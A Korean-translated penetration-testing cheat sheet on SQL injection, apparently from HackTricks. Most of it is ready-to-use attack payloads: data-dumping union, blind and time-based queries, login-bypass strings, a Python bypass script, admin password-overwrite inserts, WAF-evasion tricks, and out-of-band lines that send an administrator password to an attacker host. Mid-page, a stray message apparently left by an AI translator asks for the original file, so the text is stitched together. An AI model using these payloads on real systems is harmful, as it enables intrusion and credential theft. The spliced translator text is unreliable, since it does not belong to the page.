SQL Injection

Reading time: 20 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQL injection이란?

An SQL injection은 애플리케이션의 데이터베이스 쿼리에 공격자가 개입할 수 있게 하는 보안 취약점입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터(다른 사용자 정보나 애플리케이션이 접근할 수 있는 모든 데이터 포함)를 view, modify, delete할 수 있게 할 수 있습니다. 이러한 행위는 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나, 심지어 서버 침해 혹은 denial of service로 이어질 수 있습니다.

진입점 탐지

사이트가 SQL injection (SQLi) 관련 입력에 대해 비정상적인 서버 응답을 보이며 **vulnerable to SQL injection (SQLi)**처럼 보일 때, first step은 쿼리를 망가뜨리지 않고 어떻게 inject data into the query without disrupting it할지 이해하는 것입니다. 이를 위해 현재 컨텍스트에서 효과적으로 escape from the current context할 방법을 식별해야 합니다. 다음은 몇 가지 유용한 예시입니다:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

그런 다음, 어떻게 query를 수정하여 errors가 발생하지 않게 하는지 알아야 합니다. query를 수정하기 위해서는 input 데이터를 넣어 previous query가 새 데이터를 받아들이도록 하거나, 단순히 input한 데이터 뒤에 comment symbol을 추가하면 됩니다.

참고: query가 작동할 때와 작동하지 않을 때의 차이를 발견하거나 error messages를 볼 수 있다면 이 단계가 더 쉬워집니다.

Comments

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

논리 연산으로 확인하기

신뢰할 수 있는 SQL injection 취약점 확인 방법 중 하나는 논리 연산을 수행하고 예상되는 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter 같은 GET parameter가 ?username=Peter' or '1'='1로 수정했을 때 동일한 콘텐츠를 반환하면 SQL injection 취약점이 있는 것입니다.

마찬가지로, 수학적 연산의 적용도 효과적인 확인 기법입니다. 예를 들어 ?id=1?id=2-1에 접근했을 때 같은 결과가 나온다면 SQL injection임을 시사합니다.

논리 연산 확인 예시:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

이 단어 목록은 제안된 방식으로 SQLinjections을 확인하기 위해 만들어졌습니다:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

타이밍으로 확인하기

어떤 경우에는 테스트 중인 페이지에서 아무런 변화도 보이지 않을 수 있습니다. 따라서 DB가 작업을 수행하도록 해 페이지 로드에 영향을 주게 하는 것blind SQL injections을 발견하는 좋은 방법입니다.\

따라서 우리는 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 연산을 concat하여 추가할 것입니다:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

어떤 경우에는 sleep 함수가 허용되지 않을 수 있습니다. 그런 함수를 사용하는 대신 쿼리가 몇 초가 걸리는 복잡한 연산을 수행하도록 만들 수 있습니다. 이러한 기법들의 예시는 각 기술별로(있는 경우)에 별도로 설명됩니다.

백엔드 식별

백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해 보는 것입니다. 이전 섹션의 sleep 함수를 사용하거나 다음 것들을 사용할 수 있습니다 (표 출처: payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

또한, query의 출력에 접근할 수 있다면 데이터베이스의 버전 출력을 하게 만들 수 있습니다.

tip

계속해서 다양한 종류의 SQL Injection을 악용하는 여러 방법을 논의합니다. 예시로 MySQL을 사용합니다.

Identifying with PortSwigger

SQL injection cheat sheet | Web Security Academy

Union Based 악용

컬럼 수 확인

If you can see the output of the query this is the best way to exploit it.
먼저, 초기 요청이 반환하는 컬럼 수를 알아내야 합니다. 이는 두 쿼리 모두 동일한 컬럼 수를 반환해야 하기 때문입니다.
이를 위해 일반적으로 두 가지 방법이 사용됩니다:

Order/Group by

To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

쿼리가 올바를 때까지 null 값을 점점 더 많이 SELECT 하세요:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

일부 경우 쿼리의 양쪽 컬럼 타입이 동일해야 하므로 모든 경우에 유효한 null 값을 사용해야 합니다.

데이터베이스 이름, 테이블 이름 및 컬럼 이름 추출

다음 예제들에서는 모든 데이터베이스 이름, 특정 데이터베이스의 테이블 이름, 그리고 테이블의 컬럼 이름을 가져옵니다:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

데이터베이스마다 이 데이터를 발견하는 방법은 다르지만, 기본적인 방법론은 항상 동일합니다.

Exploiting Hidden Union Based

query의 출력이 보이지만 union-based injection이 불가능해 보인다면, 이는 hidden union-based injection이 존재함을 의미합니다. 이 상황은 종종 blind injection 상황으로 이어집니다. blind injection을 union-based injection으로 전환하려면, 백엔드에서 실행되는 query를 파악해야 합니다.

이는 blind injection 기법과 대상 DBMS에 특화된 기본 테이블들을 함께 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하려면 대상 DBMS의 문서를 참고하는 것이 좋습니다.

query를 추출한 후에는 원래 query를 안전하게 닫을 수 있도록 payload를 조정해야 합니다. 그 다음 payload에 union query를 추가하면 새로 열린 union-based injection을 악용할 수 있습니다.

더 자세한 내용은 전체 글 Healing Blind Injections를 참조하세요.

Exploiting Error based

어떤 이유로 cannot see the output of the query 하지만 see the error messages는 볼 수 있다면, 이 error messages를 이용해 데이터베이스에서 데이터를 ex-filtrate할 수 있습니다.
Union Based exploitation과 유사한 흐름을 따라가면 DB를 dump할 수 있습니다.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi 악용

이 경우 query의 결과나 에러는 볼 수 없지만, 페이지의 내용이 달라지기 때문에 query가 true 또는 false 응답을 return할 때를 구분할 수 있습니다.
이 경우 이러한 동작을 악용하여 database를 문자 단위로 dump할 수 있습니다:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

이것은 이전과 같은 경우이지만, 쿼리의 true/false 응답을 구별하는 대신 구별하여 쿼리에서 오류가 발생하는지 여부(아마도 HTTP 서버가 크래시하기 때문일 수 있습니다)를 판단할 수 있습니다. 따라서, 이 경우에는 문자를 올바르게 추측할 때마다 SQLerror를 강제로 발생시킬 수 있습니다:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi 악용

이 경우 페이지의 컨텍스트만으로는 쿼리의 응답구분할 방법이 없습니다. 하지만 추측한 문자가 맞으면 페이지의 로드 시간이 더 길어지도록 만들 수 있습니다. 우리는 이미 confirm a SQLi vuln을 확인하기 위해 이 기술이 사용되는 것을 본 적이 있습니다.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

stacked queries를 사용하면 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리들이 실행되더라도, 결과는 애플리케이션으로 반환되지 않습니다. 따라서 이 기법은 주로 blind vulnerabilities와 관련되어 유용하며, 두 번째 쿼리를 통해 DNS 조회, 조건부 오류 또는 시간 지연을 유발할 수 있습니다.

Oraclestacked queries를 지원하지 않습니다. MySQL, MicrosoftPostgreSQL는 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

만약 다른 exploitation 방법이 작동하지 않았다면, 데이터베이스가 당신이 제어하는 external host로 정보를 database ex-filtrate하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE를 통한 Out of band data exfiltration

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

SQLi 취약점을 exploit하기 위해 SQLMap Cheatsheetsqlmap를 확인하세요.

Tech specific info

우리는 이미 SQL Injection 취약점을 exploit하는 모든 방법을 논의했습니다. 이 책에서 데이터베이스 기술별로 더 많은 트릭을 찾아보세요:

또는 MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL에 관한 많은 트릭을 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 찾을 수 있습니다.

Authentication bypass

로그인 기능을 우회하기 위해 시도할 목록:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

이 쿼리는 MD5가 authentication checks에서 raw output을 위해 true로 사용될 때 발생하는 취약점을 보여주며, 시스템을 SQL injection에 취약하게 만듭니다. 공격자들은 해시되었을 때 예상치 못한 SQL 명령 부분을 생성하도록 입력을 조작하여 이를 악용할 수 있으며, 그 결과 무단 접근이 발생할 수 있습니다.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

추천 목록:

목록의 각 줄을 username으로 사용하고 password는 항상: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)

GBK Authentication Bypass

만약 '가 escape 처리된다면 %A8%27을 사용할 수 있으며, '가 escape 처리되었을 때 생성되는 것은: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python 스크립트:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

이를 위해서는 무언가를 수정하여 "master object"로 이름이 지정된 새로운 object를 생성해 보아야 합니다(사용자라면 아마 admin일 가능성이 큽니다):

  • Create user named: AdMIn (대문자 및 소문자 혼합)
  • Create a user named: admin=
  • SQL Truncation Attack (username 또는 email에 **길이 제한(length limit)**이 있는 경우) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

데이터베이스가 취약하고 username의 최대 문자 수가 예를 들어 30자이고 사용자인 admin을 가장하려면, "admin [30 spaces] a"라는 사용자명을 만들고 아무 비밀번호나 설정해 보세요.

데이터베이스는 입력된 username이 데이터베이스 내에 존재하는지확인합니다. 만약 존재하지 않으면, 데이터베이스는 username허용된 최대 길이로 잘라냅니다(이 경우 "admin [25 spaces]"로) 그리고 마지막에 있는 모든 공백을 자동으로 제거하여 데이터베이스 내의 사용자 "admin"을 새 비밀번호로 업데이트합니다(오류가 발생할 수 있지만 이것이 동작하지 않았다는 것을 의미하지는 않습니다).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

VALUES 문을 빠져나오기 위해 필요한 만큼 ','',''를 추가하세요. delay가 실행되면 SQLInjection이 존재합니다.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL의 ON DUPLICATE KEY UPDATE 절은 UNIQUE index 또는 PRIMARY KEY에 중복 값이 발생하는 행을 삽입하려 할 때 데이터베이스가 취할 동작을 지정하는 데 사용됩니다. 다음 예시는 이 기능을 이용해 관리자 계정의 비밀번호를 변경하는 방법을 보여줍니다:

Example Payload Injection:

다음과 같이 injection payload를 구성할 수 있습니다. 두 행을 users 테이블에 삽입하려 시도하며, 첫 번째 행은 미끼이고 두 번째 행은 기존 관리자 계정의 이메일을 대상으로 비밀번호를 업데이트하려는 목적입니다:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • 이 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 generic_user@example.com용이고 다른 하나는 admin_generic@example.com용입니다.
  • admin_generic@example.com에 대한 행이 이미 존재하면, ON DUPLICATE KEY UPDATE 절이 실행되어 MySQL에 기존 행의 password 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
  • 결과적으로 admin_generic@example.com과 bcrypt 해시와 일치하는 비밀번호를 사용하여 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 교체해야 합니다).

정보 추출

동시에 2개의 계정 생성하기

새 사용자 생성 시 username, password, email이 필요합니다:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

십진수 또는 16진수 사용

이 기법을 사용하면 계정 1개만 생성해도 정보를 추출할 수 있습니다. 중요한 점은 아무 것도 주석 처리할 필요가 없다는 것입니다.

다음은 hex2decsubstr 사용:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

원문 파일 내용을 제공해 주세요. 로컬에서 파일을 가져오려면 아래 명령어 중 하나를 사용하세요:

cat src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
bat --paging=never src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
gh repo clone <repo> && cat src/pentesting-web/sql-injection/README.md

파일이 너무 크면 번역할 섹션(헤더 포함)만 붙여넣어 주세요. 붙여주시면 한국어로 번역해 드립니다.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace (및 substr) 사용:

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection은 injectable query가 직접 결과를 반환하는 쿼리가 아니라, injectable query의 출력이 결과를 반환하는 다른 쿼리로 전달되는 상황을 말한다. (From Paper)

예시:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - 공백 대체를 이용한 우회

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 주석을 사용한 우회

sql
?id=1/*comment*/and/**/1=1/**/--

공백 없음 - 괄호를 사용한 우회

sql
?id=(1)and(1)=(1)--

콤마 없음 bypass

No Comma - bypass: OFFSET, FROM 및 JOIN 사용

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

일반적인 Bypasses

Blacklist는 keywords를 사용함 — bypass는 uppercase/lowercase로 우회

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

키워드를 대소문자 구분 없이 블랙리스트 처리 — 동등 연산자 사용으로 우회

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

이 트릭에 대한 보다 자세한 설명은 gosecure blog.
기본적으로 지수 표기법을 예상치 못한 방식으로 사용하여 WAF를 우회할 수 있습니다:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

컬럼 이름 제한 우회

먼저, 원래 쿼리와 flag를 추출하려는 테이블의 컬럼 수가 동일하다면 다음과 같이 할 수 있다는 점에 유의하라: 0 UNION SELECT * FROM flag

이름을 사용하지 않고 테이블의 세 번째 컬럼에 접근하는 것이 다음 쿼리처럼 가능하다: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, 따라서 sqlinjection에서는 다음과 같이 보일 것이다:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

또는 comma bypass를 사용:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다

Column/tablename injection in SELECT list via subqueries

사용자 입력이 SELECT 목록이나 테이블/컬럼 식별자에 그대로 연결(concatenate)된다면, prepared statements는 도움이 되지 않습니다. bind parameters는 식별자가 아니라 값만 보호하기 때문입니다. 흔히 취약한 패턴은 다음과 같습니다:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

악용 아이디어: 필드 위치(field position)에 subquery를 주입(inject)하여 임의의 데이터를 exfiltrate합니다:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

참고:

  • 이것은 WHERE clause가 bound parameter를 사용할 때에도 작동합니다. 왜냐하면 identifier list는 여전히 string-concatenated 되기 때문입니다.
  • 일부 스택은 추가로 table name을 제어할 수 있게 허용하여 (tablename injection), cross-table reads를 가능하게 합니다.
  • Output sinks는 선택된 값을 HTML/JSON으로 반영할 수 있어 응답에서 직접 XSS 또는 token exfiltration을 허용할 수 있습니다.

완화:

  • 사용자 입력으로부터 identifiers를 절대 concatenate하지 마세요. 허용된 column names를 고정된 allow-list에 매핑하고 identifiers를 적절히 quote하세요.
  • dynamic table access가 필요할 경우, 유한한 집합으로 제한하고 server-side에서 안전한 매핑으로 해결하세요.

WAF 우회 제안 도구

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

기타 가이드

Brute-Force 탐지 목록

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기